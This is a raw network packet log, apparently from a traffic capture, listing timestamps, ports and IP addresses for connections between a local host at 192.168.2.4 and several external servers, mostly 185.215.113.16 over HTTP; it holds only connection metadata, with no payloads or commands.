Dec 9, 2024 23:09:44.499553919 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.500273943 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:44.500344038 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.500444889 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.501140118 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.501252890 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.502151966 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.502332926 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.502608061 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:44.502655983 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:44.502892017 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.503010035 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.503047943 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:44.503789902 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.503930092 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.504085064 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:44.504625082 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.504730940 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.504770994 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:44.505480051 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.505570889 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.505606890 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:44.506386042 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.506534100 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.506578922 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:44.507252932 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.507385015 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.507426023 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:44.508150101 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.508234978 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.508274078 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:44.508991003 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.509129047 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.509171009 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:44.509880066 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.509970903 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.510015965 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:44.510710001 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.510966063 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.511017084 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:44.511739969 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.511853933 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.511895895 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:44.512506008 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.512597084 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.512638092 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:44.513312101 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.513432980 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.513478041 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:44.514203072 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.514305115 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.514357090 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:44.515070915 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.515227079 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.515274048 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:44.515969992 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.516081095 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.516122103 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:44.516798973 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.516917944 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.516958952 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:44.517695904 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.517796040 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.517838001 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:44.518548012 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.518706083 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.518744946 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:44.519439936 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.519572973 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.519617081 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:44.520292044 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.520405054 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.520447016 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:44.521157026 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.521500111 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.521547079 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:44.522123098 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.522347927 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.522392988 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:44.522912979 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.523083925 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.523124933 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:44.523816109 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.523958921 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.523999929 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:44.524667978 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.524774075 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.524815083 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:44.546468019 CET	80	49892	34.107.221.82	192.168.2.4
Dec 9, 2024 23:09:44.589191914 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.594469070 CET	80	49879	34.107.221.82	192.168.2.4
Dec 9, 2024 23:09:44.594655037 CET	49879	80	192.168.2.4	34.107.221.82
Dec 9, 2024 23:09:44.608393908 CET	80	49896	34.107.221.82	192.168.2.4
Dec 9, 2024 23:09:44.608520031 CET	49896	80	192.168.2.4	34.107.221.82
Dec 9, 2024 23:09:44.608695984 CET	49896	80	192.168.2.4	34.107.221.82
Dec 9, 2024 23:09:44.612636089 CET	80	49893	185.215.113.43	192.168.2.4
Dec 9, 2024 23:09:44.643775940 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:44.727869987 CET	80	49896	34.107.221.82	192.168.2.4
Dec 9, 2024 23:09:45.080365896 CET	49897	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:45.080391884 CET	443	49897	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:45.080931902 CET	49897	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:45.081264973 CET	49897	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:45.081276894 CET	443	49897	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:45.213536978 CET	443	49889	34.160.144.191	192.168.2.4
Dec 9, 2024 23:09:45.214716911 CET	49889	443	192.168.2.4	34.160.144.191
Dec 9, 2024 23:09:45.219383955 CET	49889	443	192.168.2.4	34.160.144.191
Dec 9, 2024 23:09:45.219393969 CET	443	49889	34.160.144.191	192.168.2.4
Dec 9, 2024 23:09:45.219573975 CET	443	49889	34.160.144.191	192.168.2.4
Dec 9, 2024 23:09:45.221412897 CET	49889	443	192.168.2.4	34.160.144.191
Dec 9, 2024 23:09:45.221512079 CET	443	49889	34.160.144.191	192.168.2.4
Dec 9, 2024 23:09:45.221534014 CET	49889	443	192.168.2.4	34.160.144.191
Dec 9, 2024 23:09:45.221538067 CET	443	49889	34.160.144.191	192.168.2.4
Dec 9, 2024 23:09:45.221868992 CET	49898	443	192.168.2.4	34.160.144.191
Dec 9, 2024 23:09:45.221911907 CET	443	49898	34.160.144.191	192.168.2.4
Dec 9, 2024 23:09:45.222673893 CET	49889	443	192.168.2.4	34.160.144.191
Dec 9, 2024 23:09:45.222675085 CET	49889	443	192.168.2.4	34.160.144.191
Dec 9, 2024 23:09:45.222685099 CET	49889	443	192.168.2.4	34.160.144.191
Dec 9, 2024 23:09:45.222728014 CET	49898	443	192.168.2.4	34.160.144.191
Dec 9, 2024 23:09:45.222893953 CET	49898	443	192.168.2.4	34.160.144.191
Dec 9, 2024 23:09:45.222908974 CET	443	49898	34.160.144.191	192.168.2.4
Dec 9, 2024 23:09:45.231436014 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:45.231920004 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:45.513746977 CET	80	49892	34.107.221.82	192.168.2.4
Dec 9, 2024 23:09:45.534322023 CET	49892	80	192.168.2.4	34.107.221.82
Dec 9, 2024 23:09:45.548686981 CET	443	49888	142.250.181.78	192.168.2.4
Dec 9, 2024 23:09:45.549276114 CET	443	49888	142.250.181.78	192.168.2.4
Dec 9, 2024 23:09:45.555445910 CET	49888	443	192.168.2.4	142.250.181.78
Dec 9, 2024 23:09:45.565351009 CET	49888	443	192.168.2.4	142.250.181.78
Dec 9, 2024 23:09:45.565356970 CET	443	49888	142.250.181.78	192.168.2.4
Dec 9, 2024 23:09:45.606571913 CET	49888	443	192.168.2.4	142.250.181.78
Dec 9, 2024 23:09:45.625912905 CET	49888	443	192.168.2.4	142.250.181.78
Dec 9, 2024 23:09:45.625919104 CET	443	49888	142.250.181.78	192.168.2.4
Dec 9, 2024 23:09:45.626039028 CET	443	49888	142.250.181.78	192.168.2.4
Dec 9, 2024 23:09:45.627979994 CET	49888	443	192.168.2.4	142.250.181.78
Dec 9, 2024 23:09:45.629656076 CET	49888	443	192.168.2.4	142.250.181.78
Dec 9, 2024 23:09:45.629662037 CET	443	49888	142.250.181.78	192.168.2.4
Dec 9, 2024 23:09:45.653981924 CET	80	49892	34.107.221.82	192.168.2.4
Dec 9, 2024 23:09:45.655304909 CET	49892	80	192.168.2.4	34.107.221.82
Dec 9, 2024 23:09:45.694540977 CET	80	49896	34.107.221.82	192.168.2.4
Dec 9, 2024 23:09:45.709558010 CET	443	49895	34.117.188.166	192.168.2.4
Dec 9, 2024 23:09:45.710257053 CET	49895	443	192.168.2.4	34.117.188.166
Dec 9, 2024 23:09:45.714083910 CET	49895	443	192.168.2.4	34.117.188.166
Dec 9, 2024 23:09:45.714087963 CET	443	49895	34.117.188.166	192.168.2.4
Dec 9, 2024 23:09:45.714174032 CET	49895	443	192.168.2.4	34.117.188.166
Dec 9, 2024 23:09:45.714194059 CET	443	49895	34.117.188.166	192.168.2.4
Dec 9, 2024 23:09:45.714528084 CET	49899	443	192.168.2.4	34.117.188.166
Dec 9, 2024 23:09:45.714540958 CET	443	49899	34.117.188.166	192.168.2.4
Dec 9, 2024 23:09:45.714600086 CET	49895	443	192.168.2.4	34.117.188.166
Dec 9, 2024 23:09:45.714832067 CET	49899	443	192.168.2.4	34.117.188.166
Dec 9, 2024 23:09:45.716147900 CET	49899	443	192.168.2.4	34.117.188.166
Dec 9, 2024 23:09:45.716157913 CET	443	49899	34.117.188.166	192.168.2.4
Dec 9, 2024 23:09:45.747697115 CET	49896	80	192.168.2.4	34.107.221.82
Dec 9, 2024 23:09:45.824894905 CET	80	49893	185.215.113.43	192.168.2.4
Dec 9, 2024 23:09:45.824954987 CET	49893	80	192.168.2.4	185.215.113.43
Dec 9, 2024 23:09:46.255578995 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:46.255630016 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:46.291040897 CET	443	49897	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:46.291111946 CET	49897	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:46.292253017 CET	49897	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:46.292262077 CET	443	49897	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:46.292454958 CET	443	49897	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:46.293785095 CET	49897	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:46.293931961 CET	49897	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:46.293961048 CET	443	49897	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:46.294044018 CET	49897	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:46.294051886 CET	443	49897	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:46.440849066 CET	443	49898	34.160.144.191	192.168.2.4
Dec 9, 2024 23:09:46.440902948 CET	49898	443	192.168.2.4	34.160.144.191
Dec 9, 2024 23:09:46.444128036 CET	49898	443	192.168.2.4	34.160.144.191
Dec 9, 2024 23:09:46.444135904 CET	443	49898	34.160.144.191	192.168.2.4
Dec 9, 2024 23:09:46.444330931 CET	443	49898	34.160.144.191	192.168.2.4
Dec 9, 2024 23:09:46.446914911 CET	49898	443	192.168.2.4	34.160.144.191
Dec 9, 2024 23:09:46.447001934 CET	49898	443	192.168.2.4	34.160.144.191
Dec 9, 2024 23:09:46.447030067 CET	443	49898	34.160.144.191	192.168.2.4
Dec 9, 2024 23:09:46.447113991 CET	49898	443	192.168.2.4	34.160.144.191
Dec 9, 2024 23:09:46.938184023 CET	443	49899	34.117.188.166	192.168.2.4
Dec 9, 2024 23:09:46.938255072 CET	49899	443	192.168.2.4	34.117.188.166
Dec 9, 2024 23:09:46.942359924 CET	49899	443	192.168.2.4	34.117.188.166
Dec 9, 2024 23:09:46.942363977 CET	443	49899	34.117.188.166	192.168.2.4
Dec 9, 2024 23:09:46.942455053 CET	49899	443	192.168.2.4	34.117.188.166
Dec 9, 2024 23:09:46.942490101 CET	443	49899	34.117.188.166	192.168.2.4
Dec 9, 2024 23:09:46.942651987 CET	49899	443	192.168.2.4	34.117.188.166
Dec 9, 2024 23:09:46.988447905 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.041441917 CET	80	49870	185.215.113.206	192.168.2.4
Dec 9, 2024 23:09:47.041497946 CET	49870	80	192.168.2.4	185.215.113.206
Dec 9, 2024 23:09:47.108120918 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.108228922 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.108274937 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.109390020 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.109467030 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.109478951 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.109508991 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.109616041 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.109659910 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.109884977 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.109961987 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.110002995 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.110624075 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.110774040 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.110814095 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.111371994 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.111462116 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.111505985 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.111996889 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.112138987 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.112180948 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.112770081 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.112903118 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.112943888 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.113362074 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.113473892 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.113516092 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.114265919 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.114479065 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.114531040 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.114748955 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.114963055 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.115009069 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.115497112 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.115668058 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.115711927 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.116162062 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.116255045 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.116292953 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.116913080 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.117039919 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.117201090 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.117578983 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.117641926 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.117687941 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.118222952 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.118292093 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.118326902 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.118961096 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.119050980 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.119091034 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.119601965 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.119817019 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.119859934 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.120342970 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.120440006 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.120480061 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.121047974 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.121268034 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.121313095 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.121680975 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.121866941 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.121908903 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.122504950 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.122567892 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.122606993 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.123162031 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.123306990 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.123384953 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.123774052 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.124048948 CET	49870	80	192.168.2.4	185.215.113.206
Dec 9, 2024 23:09:47.124275923 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.124404907 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.124560118 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.124892950 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.124959946 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.124962091 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.125511885 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.125550032 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.125624895 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.126231909 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.126271009 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.126447916 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.127125978 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.127136946 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.127177000 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.127571106 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.127610922 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.127679110 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.128287077 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.128338099 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.128360987 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.128968000 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.129184008 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.129189014 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.129715919 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.129781008 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.129848957 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.130343914 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.130444050 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.130471945 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.131148100 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.131192923 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.131195068 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.131756067 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.131797075 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.131901026 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.132572889 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.132616997 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.132622004 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.133274078 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.133317947 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.133342981 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.133905888 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.133949995 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.134037971 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.134701014 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.134711027 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.134746075 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.135303020 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.135341883 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.135461092 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.135993004 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.136043072 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.136116028 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.136655092 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.136765957 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.136785984 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.137320995 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.137367010 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.137445927 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.138042927 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.138088942 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.138109922 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.138720036 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.138765097 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.138961077 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.139444113 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.139497995 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.139553070 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.140100002 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.140140057 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.140213966 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.140786886 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.140927076 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.141505957 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.141643047 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.142201900 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.142312050 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.142491102 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.143071890 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.143121958 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.143229008 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.143711090 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.143753052 CET	49868	80	192.168.2.4	185.215.113.16
